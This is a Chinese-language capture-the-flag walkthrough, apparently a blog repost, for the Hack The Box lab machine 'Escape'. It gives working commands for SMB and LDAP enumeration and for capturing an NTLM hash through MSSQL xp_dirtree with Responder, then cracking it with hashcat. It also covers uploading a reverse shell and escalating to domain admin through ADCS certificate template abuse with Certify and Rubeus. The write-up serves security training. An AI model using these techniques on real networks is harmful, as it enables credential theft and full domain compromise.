前言
今天的靶机依然是HTB(Hack The Box)的靶机-- Escape,这是一台中等难度的域靶机,这个靶机会涉及一些Ldap、mssql、ADCS等相关的知识点,体验下来,难度还是有点偏高的。
开干:
1、环境准备
-
HTB的靶机
2、扫描开放端口
nmap命令扫描开放端口
列举几个比较重要的端口:135、593(RPC),139、445(SMB),636、3268、3289(Ldap),1433(mssql)
3、寻找漏洞尝试利用
ldap这个服务是之前靶机训练中没有遇见过的,我们可以尝试使用ldapsearch命令去匿名搜索sequel.htb域中的目录对象。
完整命令如下:
ldapsearch -x -H ldap://10.129.xxx.xxx -D '' -w '' -b 'DC=sequel,DC=htb'
报错了,匿名用户应该没有权限,接下来尝试对其他端口进行信息收集。smbclient 列出smb服务器上共享的内容,命令如下:smbclient -L //10.129.xxx.xxx/
打开public的共享目录
发现了一个pdf文件,mget 将文件下载到本地。
打开该PDF:
pdf中提到,对于新用户和仍在等待创建用户并分配许可证的用户,可以使用用户名: PublicUser和密码: GuestUserCantWrite1偷看一下数据库。
接下来使用用户名: PublicUser和密码: GuestUserCantWrite1 去登录下sql server,命令如下:
mssqlclient.py PublicUser:[email protected]
查看有哪些数据库,有没有敏感信息
看看能不能用xp_cmdshell执行命令,发现没有权限
接下来尝试用xp_dirtree存储过程获取运行mssql服务的用户NTLM的hash值,原理是通过LLMNR/NBT-NS欺骗攻击,让MSSQL去访问我们伪造的服务,当MSSQL去执行时就会把它自己的凭证发给我们
先在kali上启用responder
靶机中执行 EXEC xp_dirtree '\10.10.14.8share', 1, 1 向kali发出连接请求
如上图,获取了sql_svc用户的NTLMv2 hash,接下来用hashcat爆破出密码,先去查找hash type
hashcat -m 5600 -a 0 hash.txt rockyou.txt
hashcat 爆出密码:
得到用户 sql_svc 密码为 REGGIE1234ronnie
尝试用该用户名密码登录靶机,最终用evil-winrm登录成功:
sql_svc 这个用户底下并未找到Flag,另一个用户Ryan.Cooper也没有权限进去:
接下来就查找本地文件,在C:SQLServerLogs目录下,发现一个ERRORLOG.BAK文件
查看该文件,发现一条登录失败的信息,提示"NuclearMosquito3"用户登录失败,这个字符串就很像密码的样子。
尝试用 Ryan.Cooper:NuclearMosquito3登录
读取用户flag
4、提权
尝试用这个用户登录mssql,登录失败:
接下来上传一个反弹shell.exe和winpeas.exe,用反弹出来的shell执行winpeas(防止卡顿)。
可惜并未发现什么对提权有用的信息。接下来的思路就是枚举下AD(Active Directory)证书服务(ADCS),
使用Ghost-Pack附带的Certify来枚举易受攻击的证书,工具下载地址:
https://github.com/GhostPack/Certify
将certify.exe传输到靶机上
运行以下命令来查找可以利用的易受攻击的证书模板
.Certify.exe find /vulnerable
需要我们关注的信息有:
1、模板名称,这边的模板名称为UserAuthentication,表明它可用于Kerberos或Ldap对用户进行身份验证。
2、权限,可以sequelDomain Users拥有证书的注册权限,Ryan是域用户,接下来可以使用他的账户。
3、msPKI-Certificate-Name-Flag:它提到“ENROLLEE SUPPLIES SUBJECT”,这意味着我们可以向证书模板提供主题。在这种情况下,我们将添加主题“altname”,代表管理员获取证书,稍后再使用该证书以管理员身份进行身份验证。
运行以下命令获取证书:
.certify.exe request /ca:dc.sequel.htbsequel-DC-CA /template:UserAuthentication /altname:Administrator
将"-----BEGIN RSA PRIVATE KEY-----"到"-----END CERTIFICATE-----"保存为cert.pem文件。
接下来使用openssl命令,以.pfx格式导出证书。命令如下:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
要求输入密码就输空密码
接下来往靶机中上传cert.pfx文件和Rubeus.exe,运行asktgt命令,向其传递证书,获取TGT。
Rubeus.exe工具下载地址:https://github.com/Flangvik/SharpCollection
命令如下:
.Rubeus.exe asktgt /user:administrator /certificate:C:UsersRyan.CooperDocumentscert.pfx /getcredentials /show /nowrap
最后一行就是管理员的NTLM hash,接下来用管理员的NTLM hash登录管理员账户:
读取flag
5、总结
这个靶机的思路,先smbclient查看共享目录,发现一个PublicUser,登录mssql后,无法使用xp_cmdshell情况下,采用xp_dirtree存储过程获取运行mssql服务的用户NTLM的hash,拿到用户sql_svc的shell,然后查看本地文件,拿到用户Ryan的shell,最后通过adcs攻击提权。
这个靶机还可以通过另一条路去提权,大家可以去尝试尝试。
原文始发于微信公众号(从黑客到保安):跟着大佬学渗透之高级篇02
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论